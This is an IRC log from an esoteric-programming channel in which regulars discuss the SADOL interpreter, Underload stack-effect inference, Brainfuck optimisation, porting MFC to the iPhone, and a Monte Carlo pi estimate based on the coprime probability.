23:49:05 It's how zips are designed. 23:49:12 ehird, then unzip is broken 23:49:19 Yep. 23:49:30 g++ pch.cpp -c -o pch.obj 23:49:32 .obj 23:49:35 wth? 23:49:55 AnMaster: .obj is .o on windows 23:50:02 woot? 23:50:03 presumably the makefile was designed by a windowser 23:50:04 and why not a Makefile, why make.sh 23:50:11 AnMaster: because windows 23:50:15 ehird, *.sh 23:50:19 and? 23:50:24 windows would be *.bat 23:50:29 i'm sure it's a perfectly valid bat file too 23:50:50 Copyright (C) 2005 Adam Sawicki 23:50:50 All rights reserved 23:50:52 oh? 23:50:56 what? :D 23:51:00 why is there a gpl2.txt in there 23:51:04 err 23:51:05 gpl.txt 23:51:08 AnMaster: sounds like misplaced boilerplate 23:51:12 the page says it's GPL 23:51:14 ehird, sure does 23:51:15 probably this is standard 23:51:16 so 2-1, GPL wins 23:51:20 nooga: no, it is not 23:51:24 all rights reserved != gpl, very strongly 23:51:37 nooga, didn't you say you coded it? 23:51:37 all rights reserved = just watch the blinkenlights, hands off 23:51:41 sdandard header generated by his MSVC 23:51:43 nooga: Adam Sawicki 23:51:46 Martin Gasperowicz 23:51:57 He didn't code the interpreter, evidently. 23:51:57 Adam Sawicki implemented SADOL 23:52:04 This is free software. You may redistribute copies of it under the terms of 23:52:04 the GNU General Public License . 23:52:04 There is NO WARRANTY, to the extent permitted by law. 23:52:06 i coded it, in ruby 23:52:07 ;d 23:52:10 that is the standard GPL one 23:52:15 and now i'm coding a compiler 23:52:18 AnMaster: 23:51 nooga: sdandard header generated by his MSVC 23:52:20 MS Visual C 23:52:27 his ide generated the all-rights-reserved thing 23:52:28 ouch ok 23:52:29 and he added the gpl manually 23:52:31 a simple mistake 23:52:36 ehird, in the output of the help? 23:52:42 AnMaster: ok, that I don't know 23:52:45 $ ./BDSM2 23:52:45 Badly Developed SADOL Machine 23:52:45 Version: 2.0, 21 Dec 2005 23:52:45 Copyright (C) 2005 Adam Sawicki 23:52:45 All rights reserved 23:52:47 that is what I meant 23:52:50 "curse you meddling penguins" 23:52:51 irc ate newline 23:52:54 blooper then 23:53:17 I ate your newline 23:53:25 where is the damn raw line on pastebin... 23:53:31 there used to be a link 23:53:33 it seems gone 23:53:44 oh they moved it 23:54:02 AnMaster: did you run it? 23:54:44 nooga, running it 23:54:46 how long does it take 23:54:57 4 billion years 23:55:06 on what machine? 23:55:22 2 GHz Sempron, 64-bit 23:55:46 everything takes 4 billion years on a sempron 23:56:15 well.. the fact that the interpreter is compiled without -O doesn't help... 23:56:46 * AnMaster recompiles 23:57:32 done it says 23:57:42 ok that is quite nice 23:57:53 AnMaster: upload the output? 23:57:56 converted to png, preferably 23:58:06 ehird, um. It is trivial on your intel :P 23:58:14 beh fine 23:58:16 i'm so the lazy though. 23:58:17 so clearly uploading it will take longer 23:58:27 than you running it 23:58:27 :P 23:58:37 's one thing my new i7 won't be able to do: read my mind and act accordingly 23:58:39 ehird, since it took less than a minute on a sempron 23:58:54 in fact it'll be even more tedious, since I won't be waiting for any computations— so all the time spent will be drudgery ;-) 23:58:56 ehird, I would be scared if it could 23:59:02 Powerful computers ruin lives! 23:59:12 -!- oerjan has joined. 23:59:12 AnMaster: eh, I'd like a mind-controlled computer 23:59:15 ehird, because interpreting thoughts would be Strong AI 23:59:15 nice and efficient 23:59:16 I bet 23:59:19 no shit 23:59:26 that's like, the strongest AI you can get 23:59:29 ehird, dangerous.. It will be an EVIL i7 23:59:32 taking over the world 23:59:42 clearly yudkowsky was not properly involved 23:59:54 AnMaster: ah, that make.sh is the linux compilation file for unix, but written by a unixer 2009-05-21: 00:00:01 so not attuned to makefile-and-.o ways 00:00:06 ehird, do you trust Intel to get it right 00:00:06 "linux compilation file for unix"; fix that 00:00:12 Let me just state two examples: 00:00:16 FDIV FOOF 00:00:26 AnMaster: because intel are the only company that makes mistakes 00:00:29 * oerjan put links to his BCT interpreter in /// on the wiki 00:00:32 want me to dig up a bunch of AMD gaffs? 00:00:39 ehird, of course AMD made ones too 00:00:42 I'm not saying that 00:00:54 I'm just saying I don't trust Intel to get it right. Nor AMD 00:01:05 as long as it has a power supply I can yank out 00:01:13 clearly yudkowsky was not properly involved <-- and after googling I don't understand the reference 00:01:25 ah wait 00:01:27 Eliezer Yudkowsky, Research Fellow at the Singularity Institute for Artificial Intelligence. 00:01:29 typoed it 00:01:31 that is why 00:01:34 "Net income▼ $ -3.098 billion (2008) " — [[AMD]] 00:01:35 Ouch 00:01:36 managed to hit backspace 00:02:01 ehird, Net income ▼ US$5.3 billion (2008) - [[Intel]] 00:02:02 OUCH 00:02:07 even more so 00:02:16 errrrrrrrrrrrrrrrrrrrrrrr 00:02:18 unless I misread the numbers 00:02:24 aren't the arrow down == loss 00:02:34 AnMaster: Intel get $5.3 billion. AMD lose $3 billion. 00:02:38 Note the "-". 00:02:41 And down arrow = down from last year. 00:02:42 ehird, ah 00:02:58 So AMD's losing $3bn, Intel's gaining $5.3bn 00:02:58 AnMaster: :P 00:03:03 Not very ouch at all. 00:03:05 hm 00:03:07 yes 00:03:11 that is even more ouch 00:03:12 but 00:03:17 EU sued them 00:03:23 Intel that is 00:03:26 AnMaster: yes, that just dropped it a billion or so 00:03:29 still profiting quite a bit 00:04:17 http://en.wikipedia.org/wiki/Intel#European_Union 00:04:23 you shouldn't support Intel 00:04:32 AnMaster: I am well aware of the fine. 00:04:34 And whyever not? 00:04:43 They make good products, I buy the products; I get my nice processor, they get money. 00:04:49 ehird, support suspect marketing tactics? 00:04:57 how fun 00:05:05 AnMaster: did you buy your microsoft keyboard/mouse? 00:05:12 Why are you supporting their suspect marketing tactics? 00:05:16 HOW FUN!11128126738213 00:05:22 ehird, I don't have a Microsoft keyboard 00:05:26 mouse, then 00:05:29 I forgot which 00:05:36 ehird, and no, I got it as a present 00:05:46 so you'd refuse to buy it 00:05:46 heh 00:06:37 ehird, I'd probably test other ones first... But if it was the only one that worked ergonomically I'd probably use it 00:06:53 So you'd buy a product from Microsoft, giving them money, "supporting suspect marketing tactics". 00:07:01 And this does not make you a hypocrite how? 00:07:54 ehird, I wouldn't buy an OS or a CPU though. Anyway I happen to know some Logitech mice are quite nice 00:08:03 so the issue wouldn't arise 00:08:12 but if it did I would indeed be in a tricky dilemma 00:08:18 CPUs are a magical thing. They're entirely different to mice in the context of a market, because *~SPARKLES!~* 00:08:20 gah 00:08:28 i can't find documentation of sse functions for gcc 00:08:45 ehird, yeah... And AMD ones work very well in my experience. 00:09:07 AnMaster: So you seriously think that somehow, buying a CPU supports shady marketing, but buying a mouse doesn't, even though they both feed back into the company profits. 00:09:19 You, sir, are on crack, and only attempting to justify how you would behave while criticizing me because you don't like the company. 00:09:52 ehird, I certainly think both do 00:10:08 AnMaster: But one is acceptable support of shady marketing practices? 00:10:14 ehird, no it isn't really 00:10:20 Shovel, meet AnMaster. Hole, meet shovel. Dig, dig, dig. 00:10:23 ehird, but when there are no alternatives left that work... 00:10:34 AnMaster: There is no AMD processor that can match the performance of an i7. 00:10:36 you are sometimes forced to take the least bad action 00:10:44 Therefore, there is no alternative left that even exists. 00:10:46 ehird, then ask yourself: do you actually need that peformance 00:10:53 performance* 00:10:56 AnMaster: I do not need anything but food, water, warmth, ... 00:11:10 But what would I *like*? Yes, I'd like that performance. 00:11:11 ehird, how much power does an i7 use btw 00:11:20 green computing and so on 00:11:23 I think that the EU fine is enough punishment for Intel. 00:11:42 AnMaster: At maximum, around ~380 watts. At idle, about 100 watts. 00:11:46 Not much. 00:11:56 By the way, AnMaster? The Phenoms (AMD's high-end processors) suck up a ton of power. 00:11:58 ehird, more than this sempron 00:12:02 The i7s use way less juice. 00:12:13 AnMaster: not just the processor 00:12:15 that is the whole system 00:12:26 the whole processor is 140W at absolutely maximum load, I believe. 00:12:53 -!- Dewi has joined. 00:12:54 Compared to the Phenoms, it's so green your red and blue subpixels will stop functioning. 00:13:14 ehird, same. I used one of those watt meter thingies on my system some time ago. When idle with ondemand CPU scheduler it was about 88-91W 00:13:29 (varied a bit) 00:13:37 AnMaster: So... it's about as green as your low end CPU. 00:13:38 was about 2 years ago I measured 00:13:40 I think that's just fine. 00:14:16 nooga: Why didn't you hardcode the standard raytracing example? 00:14:27 ehird, one reason is old PSU 00:14:33 way from the 80+ 00:14:45 ehird: ah, it's WIP 00:14:50 i left that code 00:14:55 AnMaster: Well, your system is still only a few dozens of watts less than mine at idle. 00:15:00 And I'm using an 80+ efficient CPU, etc. 00:15:10 (This is hypothetical; I cba to actually measure it when I get it.) 00:15:17 i planned to make a raytracer with multisampling, reflections etc. and write a scene compiler in sadol 00:15:19 (But I think I'm approximately on mark.) 00:15:26 nooga, do it! 00:15:27 :D 00:15:29 brb 00:15:45 or maybe... monte-carlo path tracer ;D 00:15:48 radiosity etc 00:16:15 but after i finish my sadol compiler 00:16:48 brb 00:16:58 -!- nooga has quit ("Leaving..."). 00:17:17 AnMaster: Do you think techniques applied to BF compilation could be applied to underload / unlambad? 00:17:19 *unlambda 00:18:01 ehird, don't know enough about them to be sure 00:18:08 a few maybe 00:18:16 define them 00:18:35 stuff like constant folding and dead code elimination is pretty general 00:18:42 well yeah 00:19:05 stuff like balanced loops and such: well I don't know enough about ul and ul to be sure 00:19:13 err 00:19:25 two letter acronym collision 00:19:46 I'll resume the discussion once you worked out better acronyms! 00:19:47 brb 00:20:15 AnMaster: ul = unlambda 00:20:17 unl = underload 00:20:19 or no wait 00:20:21 ul = underload 00:20:23 unl = unlambda 00:20:25 oerjan: which way around? 00:20:30 i forget 00:21:34 ^ul (S)S 00:21:34 S 00:21:37 that is ul to me 00:22:05 ehird, and I really don't know unl well enough to know what you could do in it 00:22:20 let's say UL then 00:22:22 it's quite similar to bf 00:22:24 ul, well I don't know either exactly what would work 00:22:35 ehird, ul UL? 00:22:43 uh 00:22:52 so UL = unl? and ul = ul 00:23:00 that is confusing 00:23:01 let's say underload then 00:23:04 ah 00:23:07 it's quite similar to bf 00:23:08 hm 00:23:18 AnMaster: you can do a bit 00:23:18 for instance 00:23:22 (a)(b)~* 00:23:23 → 00:23:24 (ba) 00:23:27 ehird, maybe. But a lot of the stuff in bf optimising is "figure out where the damn pointer is" 00:23:28 but nobody would write code like that 00:23:44 AnMaster: in this case, it'd be "figure out how large the damn stack i" 00:23:44 s 00:23:55 well you could try to track that 00:24:00 as far as it is possible 00:24:09 possibly relative some prior point 00:24:09 mm 00:24:16 if you don't know since start 00:24:31 like you lost track after something that you can't easily decide 00:24:38 yes 00:24:39 which for bf would be unbalanced loop 00:24:44 not sure what it would be for ul 00:24:50 AnMaster: pushing more than you pop 00:24:59 ~ pops 1 (since it combines two elements) 00:25:05 ! pops 1 00:25:06 like (1)(2) ? 00:25:08 : pops -1 00:25:11 (a) pops -1 00:25:18 ^ pops 1 00:25:20 S pops one 00:25:21 er wait 00:25:22 ~ swaps 00:25:25 ~ pops 0 00:25:26 yeah 00:25:30 * pops 1, and combines 00:25:31 -!- Dewio has quit (Read error: 101 (Network is unreachable)). 00:25:31 pops 0? 00:25:37 AnMaster: ~ swaps top two elements 00:25:40 so no stack change 00:25:41 ah 00:25:54 ehird, is there anywhere you can't easily figure out the stack sise 00:25:55 size* 00:25:58 I assume it must be 00:26:02 AnMaster: yes -- ^ 00:26:04 since it is TC 00:26:04 you can do, for instance: 00:26:10 ehird, you can know it sometimes for ^ 00:26:12 ((x)):*^ 00:26:15 which executes 00:26:16 (x)(x) 00:26:18 and thus pops -2 00:26:23 but you can infer that too 00:26:28 yeah 00:26:32 in fact, I'm not sure you can ever not infer it 00:26:40 which is nice 00:26:44 I might write an inferrer to see 00:26:49 ehird, are there cases you can't infer 00:26:50 and 00:26:54 AnMaster: i'm wondering 00:26:55 I think not 00:26:58 when does this cross the line to compiler 00:27:02 err 00:27:03 interpreter 00:27:11 with compiling to a "output constant string" 00:27:18 AnMaster: well, you'd never actually loop 00:27:22 to infer the stack effect 00:27:34 AnMaster: this wouldn't work if underload had user input, BTW 00:27:36 but it doesn't 00:27:53 what about that infinite loop 00:27:58 AnMaster: (:^):^ 00:28:00 you can't possibly infer there 00:28:01 right? 00:28:03 I mean 00:28:06 the stack growing one 00:28:12 exponential 00:28:51 -!- nooga has joined. 00:28:52 meh 00:28:57 don't remember that 00:28:57 AnMaster: no, you can: 00:29:04 hem 00:29:15 ehird: it is easy to push an amount corresponding to a church numeral 00:29:22 AnMaster: stack effect of :^ is x=[y x [y x → z] → z], where [foo] is a quotation with stack effect foo 00:29:24 oooh 00:29:29 that would be a nice optimisation 00:29:32 where x=foo means "foo can mention x" 00:29:32 as in 00:29:34 recursive type 00:29:36 so 00:29:37 folding church numbers 00:29:42 trivial 00:29:43 so 00:29:43 into some optimised representation 00:29:45 we push (:^) 00:29:48 so stack is: 00:29:50 ( x=[y x [y x → z] → z] ) 00:29:52 then we duplicate 00:29:55 ( x=[y x [y x → z] → z] ) ( x=[y x [y x → z] → z] ) 00:30:01 and apply the types 00:30:07 AnMaster: it just leads to an infinite type 00:30:13 which could be handled, with enough care 00:30:15 oerjan: do you think so? 00:30:24 of course 00:30:25 wut's that? 00:30:40 nooga: inferring underload stack effects 00:30:48 oerjan: so we can always infer the stack effect of an underload program in finite time? 00:30:50 that's really nice 00:31:01 ehird, couldn't you optimise it into a bignum or whatever. I mean some representation that is fast (relatively to original) on a real computer 00:31:03 ^ul (:::***)((a))~^S 00:31:04 (a)(a)(a)(a) 00:31:09 ehird: no! 00:31:13 ehird, anyway what about !ul 00:31:14 the opposite 00:31:14 !help 00:31:14 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 00:31:18 err 00:31:24 !underload (S)S 00:31:25 S 00:31:26 oerjan: the opposite— why? 00:31:31 iirc it did some tricky stuf 00:31:33 stuff 00:31:34 hmm 00:31:37 AnMaster: it does 00:31:39 but I want to go further 00:31:51 oerjan: I don't see why you can't just handle recursive types like (:^), and thus infer any program 00:32:03 ehird: because you can calculate any recursive function it is impossible to calculate a church numeral for sure in finite time 00:32:07 ehird, for UL the difference between interpreter and optimising compiler seems very very small 00:32:13 oerjan: i'm not talking about church numerals‽‽ 00:32:26 ehird, just one generates a program that outputs the same thing 00:32:27 oerjan: I'm talking about inferring the stack effect of underload programs 00:32:29 ehird: i was using them to prove you cannot do it 00:32:32 oerjan: how 00:33:19 if you have a church numeral on the stack, then ((x))~^^ creates that number of (x) on the stack 00:33:51 oerjan: bollocks. 00:33:54 repeating: 00:34:03 ^ul (:::***)((a))~^S 00:34:03 (a)(a)(a)(a) 00:34:06 nope, I get it 00:34:10 how irritating 00:34:20 oerjan: you'd think once you infer (:^):^ properly everything else would be trivial :) 00:34:28 heh 00:34:33 um 00:34:44 oerjan: OTOH, isn't it possible to infer in a large number of cases? 00:35:33 can't you infer from church numerals? I mean if you constant fold them. into some (church 4) representation. 00:35:37 or maybe you can't 00:35:54 oerjan: explain to him properly :P 00:36:07 ehird: well sure it's probably quite analogous to bf balanced vs. unbalanced loops 00:36:08 no, not the GENERAL case 00:36:14 duh 00:36:17 I'm not stupid 00:36:23 I meant, for many common cases 00:36:30 AnMaster: well sure if they're constants 00:36:46 oerjan, yes of course you could build new ones 00:36:56 and then you couldn't in general 00:37:26 anyway 00:37:32 the fun bit in bf 00:37:37 is optimising unbalanced loops 00:37:43 you can do it, partly 00:37:44 sometimes 00:37:50 i cannot find documentation for this shit 00:38:02 like constant propagation to put a upper bound on the range of a [>] 00:38:21 where I mean the constant propagation has the needed data sometimes 00:38:25 not always of course 00:38:37 AnMaster: does your compiler optimize >>>>>+<<<<<[>]+ into p[5] = 2;? 00:38:45 ehird, not yet. But it is planned 00:38:58 ehird, is 6th item in my private TODO 00:38:59 does esotope? 00:39:04 ehird, don't think so 00:39:07 not 100% sure 00:39:23 ehird, currently in-between sometimes does better, and sometimes esotope does better 00:39:37 often on different parts of the same program 00:39:42 since we do different stuff 00:40:05 ehird, I would have finished polynoms today, but this headache got in the way 00:41:37 and now: night 00:42:25 bye 00:48:17 -!- oerjan has quit ("Good night"). 00:48:28 PHMINPOSUW looks useful 00:50:25 i love sse instructions 00:50:26 FSDIFH 00:50:28 ASDKASJDKDFHDSF 00:56:35 -!- inurinternet has quit (No route to host). 00:56:57 heh 00:57:14 porting MFC to iphone O_o 00:57:43 WHY 00:57:59 that's the ABSOLUTE DUMBEST THING I have EVER heard 00:58:44 coppro: he's porting some windows-shit application to the iphone 00:58:48 and, um, apparently he's not porting it? 00:58:51 I know what it is 00:58:58 nooga: i think you should go and choke on something before you do any more damage 00:59:02 OK? 00:59:04 MFC is one of the worst libraries ever written 00:59:15 it should not have been ported to Windows, much less the iPhone 00:59:23 we all know :p 00:59:50 * coppro goes and kills somebody 01:00:06 coppro: don't you think you're overreacting a little 01:00:17 ehird: no 01:01:06 MFC? 01:01:15 pikhq: yes/ 01:01:18 s/\/$// 01:05:35 MFC = ? 01:05:45 http://en.wikipedia.org/wiki/Microsoft_Foundation_Class_Library 01:06:33 *Oh*. 01:06:37 That shit. 01:07:14 (and I mean no offense... To shit.) 01:07:33 the wikipedia article failes to properly represent it 01:07:42 failes 01:07:44 yeah] 01:07:46 daiyen typoes 01:08:00 *typeos, I suppose 01:08:05 I'm especially curious why one would use C++ on the iPhone. 01:08:05 but i'm porting massive library that strongly depends on MFC and other M$ shit 01:08:23 You've got Objective C as the normal language. 01:08:24 and we decided to port some parts of MFC 01:08:25 nooga: you're evilorrible 01:08:28 nooga: Rewrite it. 01:08:31 please jump out of a window 01:08:37 it was written for 3 years 01:08:44 approx 180 kLOC 01:08:57 nooga: 'Porting' MFC (reimplementing it) will take more time. 01:09:07 not whole MFC 01:09:09 yeah 01:09:32 just some core classes 01:09:46 like CString CTime CSize CTimeSpan... etc etc 01:10:31 * pikhq vomits 01:11:15 * ehird kicks nooga 01:11:18 * ehird stomps on nooga 01:11:20 * ehird throws nooga 01:11:26 Now think about what you've done! 01:11:38 it's just my job lol 01:11:59 i try to keep cool abt that 01:12:10 besides, i never used mfc 01:12:46 I'd sooner rewrite the STL. 01:12:53 yes 01:12:57 STL is also used 01:12:58 And the STL makes me want to gouge my eyes out. 01:22:08 shame shame 01:22:09 on me 01:22:27 bbl 01:25:51 http://plasmasturm.org/log/542/ 01:25:56 So true. 01:41:49 -!- Gracenotes has quit (Read error: 60 (Operation timed out)). 01:48:53 -!- olsner has joined. 01:50:02 -!- atrapado has joined. 01:54:44 -!- Gracenotes has joined. 02:00:35 -!- atrapado has quit ("WeeChat 0.2.6.2"). 02:15:19 -!- olsner has quit ("Leaving"). 02:18:24 -!- Gracenotes_ has joined. 02:21:08 -!- Gracenotes has quit (Nick collision from services.). 02:21:11 -!- Gracenotes_ has changed nick to Gracenotes. 02:21:27 hm. How long were Firefly episodes? 02:22:47 45 minutes without commercials 02:23:12 okay.... argh. So slow. 02:23:23 would calling my ISP about my fucking slow connection do anything? 02:23:30 no 02:23:52 maybe I'll talk to my parents about pitching in for getting a better rate, if it's low atm, just for the summer 02:26:12 "To pull something from L1 cache is like looking at something already on your desk. L2 cache is like asking the guy in the cube next to you. L3 cache is like driving to the other side of town and coming back with your answer. Main memory is like writing a letter to someone in Taiwan and waiting for the response." 02:26:15 bye 02:33:02 ehird: what is accessing the disk then? 02:39:52 it's a bad analogy anway 02:39:56 the ratios are off 02:44:18 bsmntbombdood: Accessing the disk is like ordering something from a mail-order catalog. 02:44:24 ... On Mars. 03:03:00 ok, i think i kind of know how to do a sort of odd/even sort with sse 03:14:10 actually not 03:25:18 -!- inurinternet has joined. 03:40:39 -!- pikhq has quit (Read error: 54 (Connection reset by peer)). 03:42:18 -!- pikhq has joined. 03:45:14 -!- inurinternet has quit (Success). 03:45:27 -!- bsmntbombdood has quit (Remote closed the connection). 03:52:07 -!- inurinternet has joined. 03:57:08 -!- pikhq has quit ("leaving"). 04:11:29 -!- bsmntbombdood has joined. 04:12:55 -!- inurinternet has quit (Read error: 110 (Connection timed out)). 04:23:00 damn 04:23:15 i am backing up data from my old drive...it seems that bzip2 is the bottleneck 04:28:12 -!- coppro has quit (Remote closed the connection). 05:03:44 i am not getting the results i expect :( 05:04:37 bzip2 is SLOW 05:04:45 Use lzma or gzip 05:05:01 pi is apparently 4.44 05:05:40 Close enough. 05:07:52 And downloading something from the network is like what, reading smoke signals from Andromeda? :P 05:08:24 a local network can have a lot less latency than an hdd 05:08:45 I was assuming interwabs 05:09:22 why isn't this working 05:13:19 okay. Here I was thinking that Firefly was okay so far, but... it suddenly got much much better 05:13:23 Summer Glau <3 05:14:03 indeed 05:15:26 Gracenotes: pi = 3.14152625 after 1000000000 iterations 05:15:56 awesome! ... I still haven't gotten around to implementing it, darn it 05:16:05 how big were the numbers you used? 05:16:10 in what language, not to mention? 05:16:32 C 05:16:32 > logBase 2 1000000000 05:16:46 forgot, lambdabot not in here >_> Haskell not esoteric enough 05:16:50 they are 64 bit ints from some mersenne twister implementation i pulled of the web 05:16:52 I think I meant to do logBase 10, too. 05:17:02 bsmntbombdood: unsigned, right? 05:17:27 ja 05:18:41 that is very neat 05:18:51 ah... 1,000,000,000 05:19:08 how much more do you think another billion would help? 05:19:27 I tried to add Haskell. 05:19:30 I failed :P 05:19:53 ghci is GHC /interactive/, not GHC /interpreter/ :P 05:20:02 Gracenotes: i'll tell you in 3 minutes 05:20:09 ...really? >_> 05:20:26 u has fastyness 05:20:36 it's multithreaded 05:20:50 and multicores, as explained earlier 05:21:13 threads can't do much if there's one CPU context-switching all the time :) 05:21:35 poor Gracenotes 05:21:38 stuck with a single core 05:21:47 I have 2 05:21:57 and it is just a laptop after all 05:22:09 2000000000 iterations, 3.141545492 05:22:50 3.141545492 05:22:52 3.14152625 05:22:54 mm. 05:22:57 You'd think you could do better with 2 billion iterations .... 05:23:21 gonna do 10000000000, be back in 15 minutes 05:24:07 My brain, after 1 iteration, pi = 3.14159265358979323 05:25:26 -!- Corun has quit ("Leaving..."). 05:25:58 you might also have a limit with the floating point itself 05:26:03 but that's not too likely 05:26:19 interestingly, you could also try to predict how many out of the 10000000000 would be coprime 05:26:32 -!- GregorR-L has set topic: The interrational tub of esoteric programming language designers and soap. No soap, radio! Pass the http://tunes.org/~nef/logs/esoteric/. 05:26:55 10000000000*6/(pi^2) 05:27:20 which Haskell kindly tells me is 6079271019 05:29:05 I'd imagine a Haskell solution could be nicely optimized 05:29:43 it's not a difficult algorithm. n times, check GCD of two random large numbers; increment a counter if it's 1.... 05:30:05 if we unbox strict field, or as I like to call it, funboxing. :/ 05:30:30 what does that even mean? 05:30:59 in Haskell, there are primitive types like Int# 05:31:22 actually, no, it doesn't have to do with primitive types 05:31:39 whatever, it won't be faster than my C 05:31:42 or does it? Either way, it removes the constructor if it can 05:31:59 bsmntbombdood: you might be surprised :) 05:32:09 wait there's a better gcd algorithm than euclid or whatever's right? 05:32:13 -O2 can be pretty ruthless. rawr. 05:32:41 are you able to make it multithreaded/processed? 05:33:03 bsmntbombdood: well... I'm sure there are more efficient ways to check if two numbers are coprime 05:33:19 Euler's algorithm is the most efficient GCD-taker I know of though 05:33:23 we are seeing some diminishing returns here... 05:33:40 10000000000 iterations, pi = 3.1415826392666 05:34:29 gonna go for another order of maginitude, i'll have a result in 90 minutes 05:34:36 -!- pikhq has joined. 05:45:04 bsmntbombdood: how many digits you listed is based on a value of pi you already have? 05:58:18 no, i was just copying and pasting 06:01:59 23:01:43 up 1:53, 30 users, load average: 8.13, 8.00, 8.00 06:02:00 heh 06:02:03 hm. why different precisions? 06:02:22 because i copied and pasted less... 06:03:59 -!- inurinternet has joined. 06:10:13 gprof doesn't work will with multiple processes :( 06:17:16 time for assembly! >_> 06:17:41 naw, not worth it 06:19:15 about halfway done with 100 billion iterations 06:20:12 ouch, looks like most of my time is spent calculating gcds 06:22:24 right. not much I can find on the internet about more efficient means of checking coprime, though 06:22:33 84% O.o 06:22:36 you're using the iterative version, of course? 06:22:49 i was thinking that generating the random numbers would be slower 06:22:55 yeah 06:23:08 -!- inurinternet has quit. 06:23:26 -!- inurinternet has joined. 06:23:51 the completely trivial one though--http://pastebin.ca/1429617 06:24:32 looks efficient 06:26:30 here is a possible optimization, a precheck mentioned: http://echochamber.me/viewtopic.php?f=12&t=22215 06:26:40 looks like there are algorithms that are asymptotically better, but n is relatively small here 06:26:41 just xkcd forum. not tested, I'm sure 06:26:50 bsmntbombdood: hm, really? 06:26:57 my Google-fu can't find any :\ 06:27:19 on numbers > 100 decimal digits long 06:27:57 well, we could use numbers that big. Would need special facilities though 06:28:21 if all you're doing is generating them to check if they're coprime, after all. Still, would be slower 06:28:33 but I daresay more accurate? >_> 06:28:56 anyway. gcd is efficient... enough. Some checks at the beginning (both even?) might help a bit, perhaps 06:29:05 http://www.springerlink.com/content/7042685247876171/ 06:30:24 if any binary digits on the lower end are the same, they're not coprime 06:30:50 er. by same I mean "0" 06:30:56 and shared 06:31:22 argh. But yeah, those come rarer for more and more 0s 06:31:37 well, both even is 25% 06:31:39 1 sec 06:34:01 doesn't help 06:34:32 hm... sort of a long-shot, but try making the function inline? 06:34:44 it is 06:34:45 then again if you already have -O3 or suchlike it probably already is 06:43:39 well. anyway, the probabilistic algorithm would seem interesting 06:43:43 >_> 06:43:46 <_< 06:43:48 PSOX. 06:43:54 Yes? 06:43:59 it might introduce a systemic bias in the pi calculation though 06:44:01 >_> 06:44:02 <_< 06:44:04 PSOX. 06:48:31 20 more minutes >_< 07:04:52 What? 07:05:05 >_> 07:05:24 Sgeo: 100 billion iterations 07:12:05 100000000000 iterations, pi = 3.14159361115197 07:12:15 that's dissapointing! 07:12:17 Gracenotes: ^^ 07:15:27 aww. 07:15:42 Perhaps you need higher numbers than 2^64-1 for better accuracy? 07:16:15 i wouldn't thing so 07:16:50 aha 07:16:55 http://en.wikipedia.org/wiki/Coprime#Probabilities 07:17:14 as N -> infinity, the probability goes to 6/pi^2 07:17:57 maybe it's time to break out gmp 07:17:58 after all it is a limit to infinity 07:18:25 there must be some way to calculate how many digits you can get from an N 07:18:50 related directly to the Riemann zeta function, particularly 07:19:28 bsmntbombdood: slower yet, but perhaps better results :D 07:20:33 i can't find the mpz function to convert from a bit array 07:22:27 oh, they've got their own prng 07:27:45 -!- Sgeo has quit (Read error: 110 (Connection timed out)). 07:42:21 gmp is underwhelming 07:46:37 -!- BeholdMyGlory has joined. 07:47:26 disregard that, i wasn't seeding properly 07:56:30 well now i'm bored of this 07:56:32 http://pastebin.ca/1429665 07:56:37 source if anyone wants it 07:59:59 -!- clog has quit (ended). 08:00:00 -!- clog has joined. 08:20:02 -!- Slereah has joined. 08:21:06 -!- upyr[emacs] has quit (Remote closed the connection). 08:29:35 -!- Slereah_ has quit (Read error: 110 (Connection timed out)). 08:41:34 -!- BeholdMyGlory_ has joined. 08:43:38 -!- M0ny has joined. 08:57:51 -!- BeholdMyGlory has quit (Read error: 110 (Connection timed out)). 09:02:06 -!- olsner has joined. 09:12:13 bsmntbombdood: thank ye 09:18:17 -!- Gracenotes has quit (Read error: 104 (Connection reset by peer)). 09:18:50 -!- Gracenotes has joined. 09:43:36 -!- BeholdMyGlory has joined. 09:59:09 -!- BeholdMyGlory_ has quit (Read error: 110 (Connection timed out)). 10:26:38 -!- bsmntbombdood has quit (Remote closed the connection). 10:46:04 -!- oerjan has joined. 10:47:59 -!- tombom has joined. 10:56:54 !help 10:56:55 Supported commands: addinterp bf_txtgen bfjoust daemon daemons delinterp fyb help info kill mush userinterps 1l 2l adjust asm axo bch bct befunge befunge98 bf bf16 bf32 bf8 bfbignum boolfuck c chiqrsx9p choo cintercal clcintercal cxx dimensifuck echo forth glass glypho google hello kipple lambda lazyk linguine malbolge ook pbrain perl qbf rail rhotor rot13 sadol sceql sh show slashes test trigger udage01 underload unlambda whirl yodawg 10:58:22 !rot13 butt 10:58:22 ohgg 10:58:25 OHGG 10:58:43 !rot13 omg 10:58:44 bzt 10:58:53 EgoBot is an atheist 11:00:51 !c printf("%c", log(1000000000.0)); 11:00:52 11:00:57 huh 11:00:59 oh 11:01:04 !c printf("%f", log(1000000000.0)); 11:01:06 20.723266 11:03:35 -!- olsner has quit ("Leaving"). 11:04:52 ghci is GHC /interactive/, not GHC /interpreter/ :P 11:04:59 you may want runghc 11:07:51 however, that takes an entire module iiuc 11:08:07 (not that adding main = is that much trouble) 11:08:54 GregorR-L: oh, also ghc -e 11:16:26 10000000000 iterations, pi = 3.1415826392666 11:16:48 the precision may depend not just on the number of iterations, but also on the sizes of the numbers you test 11:18:22 the (probability of gcd = 1) being p^2/6 is a limit as number range size goes to infinity, after all 11:18:48 er, 6/pi^2 11:19:40 -!- Slereah_ has joined. 11:22:13 it comes from that product over an expression in primes 11:26:06 1/(1-p^(-2)) 11:27:44 -!- Slereah has quit (Read error: 110 (Connection timed out)). 11:33:50 Main> product [1/(1-fromInteger p^^(-2)) | p <- take 100 primes] 11:33:50 1.64451522172429 :: Double 11:33:50 Main> pi^2/6 11:33:50 1.64493406684823 :: Double 11:36:34 -!- Sgeo has joined. 11:39:02 hm maybe that's relatively fast anyway 11:45:40 if the length of range of numbers selected is divisible by a prime, then the product term from that prime fits perfectly 11:46:42 and if the range is much huger than that, the probability of not fitting inside such a range becomes miniscule 11:47:00 *inside such a subrange 11:47:53 so for million digit numbers, primes < 10^100 say, should give practically no error 11:48:03 -!- BeholdMyGlory_ has joined. 11:48:17 and that's about 10^100/(100 ln 10) primes, by the prime number theorem 11:48:28 -!- 